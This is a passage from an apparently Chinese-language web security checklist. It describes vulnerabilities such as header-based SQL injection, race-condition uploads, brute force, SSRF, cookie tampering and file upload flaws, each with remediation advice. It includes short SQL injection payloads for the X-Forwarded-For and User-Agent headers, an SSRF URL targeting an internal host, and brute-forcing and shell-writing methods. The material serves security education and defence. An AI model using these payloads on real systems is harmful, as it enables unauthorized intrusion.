• 漏洞危害描述：由於對登錄的賬號及口令校驗存在邏輯缺陷，或再次使用服務器端返回的相關參數作為最終登錄憑證，導致可繞過登錄限制，如服務器返回一個flag參數作為登錄是否成功的標准，但是由於代碼最后登錄是否成功是通過獲取這個flag參數來作為最終的驗證，導致攻擊者通過修改flag參數即可繞過登錄的限制！

修復建議：

• 修改驗證邏輯，如是否登錄成功服務器端返回一個參數，那么到此就是最終驗證，不需要再對返回的參數進行使用並作為登錄是否成功的最終判斷依據！

34、HTTP頭的注入攻擊

1. 當我們把會話標識保存在數據庫時，首先應該把HTTP Cookies作為首要潛在的HTTP變量進行測試。這樣就可能可以使用Cookie進行SQL注入。

2. X-Forwarded-For是HTTP頭的一個字段。它被認為是客戶端通過HTTP代理或者負載均衡器連接到web服務端獲取源ip地址的一個標准。

    X_FORWARDED_FOR :127.0.0.1′ or 1=1#
    這樣的修改將會導致繞過安全認證。
   

   • 防護策略：
     • 在使用SQL查詢前，HTTP_X_FORWARDED_FOR 環境變量需要進行充分的過濾。

• User-agent

  • 並不是所有的應用程序都會被獲取到user-agent信息，但是有些應用程序利用它存儲一些信息（如：購物車，可能用來識別這個購物車屬於哪個客戶端）。在這種情況下，我們就有必要研究下user-agent頭存在的問題了。

      User-Agent: aaa’ or 1/*
    

35、Web中的條件競爭漏洞

漏洞成因：

• 競爭條件，發生在多個線程同時訪問同一個共享代碼、變量、文件等沒有進行鎖操作或者同步操作的場景中。
• 開發者在進行代碼開發時常常傾向於認為代碼會以線性的方式執行，而且他們忽視了並行服務器會並發執行多個線程，這就會導致意想不到的結果。

現象：

• 由於多線程訪問，數據庫update一次的時間內update了多次，導致數據出現錯誤，（比如說，在開通賬號到扣款的這段時間內，在第一次開通賬號的時候，會update一次數據庫，更新賬號余額，而在update更新余額的這段時間內，由於是多線程大量並發開通，而此時update這個動作並沒有進行鎖操作，導致后續的這段時間內，一次update余額的操作卻連帶了多個賬號開通狀態的更新，相當於后續一段時間內，賬號是免費開通的）這在銀行、電商等有支付的地方影響是巨大的。

• 上傳文件也是同理：

  • 簡單解釋一下，首先將文件上傳到服務器，然后檢測文件后綴名，如果不符合條件，就刪掉，典型的“引狼入室”。
  • 當然這個文件會被立馬刪掉，所以我們使用多線程並發的訪問上傳的文件，總會有一次在上傳文件到刪除文件這個時間段內訪問到上傳的php文件，一旦我們成功訪問到了上傳的文件，那么它就會向服務器寫一個shell（可用於木馬攻擊）。
  • 防御策略：
    • 對於數據庫的操作，正確的方法是設置鎖；
    • 對於文件上傳，一定要經過充分完整的檢查之后再上傳；
    • 在操作系統的角度，共享數據要進行上鎖保護。

36、弱口令

• 漏洞危害描述：由於系統中存在有弱口令，導致攻擊者通過弱口令可輕松登錄系統中，從而進行下一步的攻擊，如上傳webshell，獲取敏感數據！另外攻擊者利用弱口令登錄網站管理后台，可任意增刪改等操作，從而造成負面影響！（存在暴力破解）
• 修復建議：
  1. 建議強制用戶首次登錄時修改默認口令，或是使用用戶自定義初始密碼的組成策略；
  2. 完善密碼策略，信息安全最佳實踐的密碼策略為8位（包括）以上字符，包含數字、大小寫字母、特殊字符中的至少3種。
  3. 對管理后台進行訪問控制（比如只能內網訪問或者只能某些特定的網段訪問），修改后台弱口令，加強口令強度並定期修改。
  4. 增加驗證機制，防爆破機制（比如驗證碼），使之登錄失敗一次，驗證碼變換一次。 限制ip＋cookie訪問次數。
  5. 同一用戶如果 10 分鍾內登錄失敗 6 次，禁用此用戶登錄 2 小時。

37、明文傳輸登錄口令

• 漏洞危害描述：用戶登錄過程中使用明文傳輸用戶登錄信息，若用戶遭受中間人攻擊時，攻擊者可直接獲取該用戶登錄賬戶，從而進行進一步滲透。
• 修復建議：
  1. 用戶登錄信息使用加密傳輸，如密碼在傳輸前使用安全的算法加密后傳輸，可采用的算法包括：不可逆hash算法加密（4位及以上隨機數，由服務器端產生）；安全對稱加密算法，如AES(128、192、256位)，且必須保證客戶端密鑰安全，不可被破解或讀出；非對稱加密算法，如RSA(不低於1024位)、SM2等。（應用層加密）
  2. 使用https來保證傳輸的安全。（傳輸層加密）

38、暴力破解

• 漏洞危害描述：由於沒有對登錄頁面進行相關的防暴力破解機制，如無驗證碼、有驗證碼但驗證碼未在服務器端校驗以及無登錄錯誤次數限制等，導致攻擊者可通過暴力破解獲取用戶登錄賬戶及口令，從而獲取網站登錄訪問權限！
• 攻擊方法：
  • 在輸入框輸入不同的錯誤內容，看返回的錯誤信息是否一致；比如，輸入錯誤的用戶名和密碼，或者手機號和密碼，若返回兩種不同的錯誤信息（用戶名不存在、用戶名或密碼錯誤；手機號不存在，手機號或密碼錯誤，說明此處的用戶名和手機號存在暴力破解的漏洞。或者是在輸入驗證碼時，只是提示驗證碼錯誤，而沒有錯誤次數的限制，說明此處驗證碼存在暴力破解的漏洞。暴力破解成功，會返回200狀態碼）
  • 爆破時，先根據爆破目標，找目標的變化規律，然后依據規律，設計爆破字典，進行爆破。判斷是否爆破成功，除了觀察狀態碼外，也可應觀察響應內容的長度，若某個響應的內容長度與其他的響應內容長度相差很大，則很有可能這個響應就是我們要找的爆破成功的響應。
• 修復建議：
  • 添加驗證碼機制，加入圖片（驗證碼動態生成且滿足隨機性）或者短信驗證碼（驗證碼具備超時時限一般為1分鍾，且在該時限內錯誤次數超過3次則進行鎖定1分鍾后方能重新獲取驗證碼，超時后驗證碼自動失效）！
  • 驗證碼必須在服務器端進行校驗，客戶端的一切校驗都是不安全的！（若在客戶端校驗，則可以通過burpsuite攔包，修改客戶端的校驗結果，從而繞過驗證碼。）

39、目標服務器啟用了不安全HTTP方法

• 漏洞危害描述：目標服務器啟用了不安全的傳輸方法，如PUT、TRACE、DELETE、MOVE等，這些方法表示可能在服務器上使用了 WebDAV，由於dav方法允許客戶端操縱服務器上的文件，如上傳、修改、刪除相關文件等危險操作，如果沒有合理配置dav，有可能允許未授權的用戶對其進行利用，修改服務器上的文件。
• 修復建議：
  • 關閉不安全的傳輸方法，推薦只使用POST、GET方法！
  • 如果服務器不需要支持 WebDAV，請務必禁用它。或者為允許webdav的目錄配置嚴格的訪問權限，如認證方法，認證需要的用戶名，密碼。

40、SSRF漏洞

• 攻擊方法：

---

http://xx.map.xx.com/maps/services/thumbnails?width=215&height=145&quality=120&align=middle,middle&src=http://96.xx.191.14:8081
這里為用xx.map.xx.com服務器內再次發起請求去訪問96.xx.191.14服務器，攻擊目標為內網的96.xx.191.14服務器。

41、Cookie&session攻擊

• 攻擊方法：修改cookie中的某個參數可以登錄其他用戶。例如，修改cookie中的sid值，即可登錄任意用戶賬號。這樣的話，就可以通過遍歷，找到一個官方管理的sid利用來登錄。
• 修復建議：
  • 增強對cookie的驗證機制。

42、任意文件上傳

• 漏洞危害描述：文件上傳漏洞通常由於網頁代碼中的文件上傳路徑變量過濾不嚴或webserver相關解析漏洞未修復而造成的，如果文件上傳功能實現代碼沒有嚴格限制用戶上傳的文件后綴以及文件類型，攻擊者可通過 Web 訪問的目錄上傳任意文件，包括網站后門文件（webshell），進而遠程控制網站服務器。
• 攻擊者可通過此漏洞上傳惡意腳本文件，對服務器的正常運行造成安全威脅！
• 修復建議：
  1. 對上傳文件類型進行限制，並且不能只做前端的限制，而要前端和后端一起限制，后端可以進行擴展名檢測，重命名文件，MIME類型檢測以及限制上傳文件的大小，或是將上傳的文件放在安全的路徑下，盡量放於webserver之外的遠程服務器等。
  2. 嚴格限制和校驗上傳的文件，禁止上傳惡意代碼的文件。同時限制相關目錄的執行權限，防范webshell攻擊。
  3. 對上傳文件格式進行嚴格校驗及安全掃描，防止上傳惡意腳本文件；
  4. 設置權限限制，禁止上傳目錄的執行權限；
  5. 嚴格限制可上傳的文件類型；
  6. 嚴格限制上傳的文件路徑；
  7. 文件擴展名服務端白名單校驗；
  8. 文件內容服務端校驗；
  9. 上傳文件重命名；
  10. 隱藏上傳文件路徑。

43、URL 跳轉漏洞

• 漏洞危害描述：Web 程序直接跳轉到參數中的 URL ，或頁面引入任意的開發者 URL，被攻擊者利用可實施釣魚攻擊等操作。
• 修復建議：
  • 在控制頁面轉向的地方校驗傳入的URL是否為可信域名。

待續……………………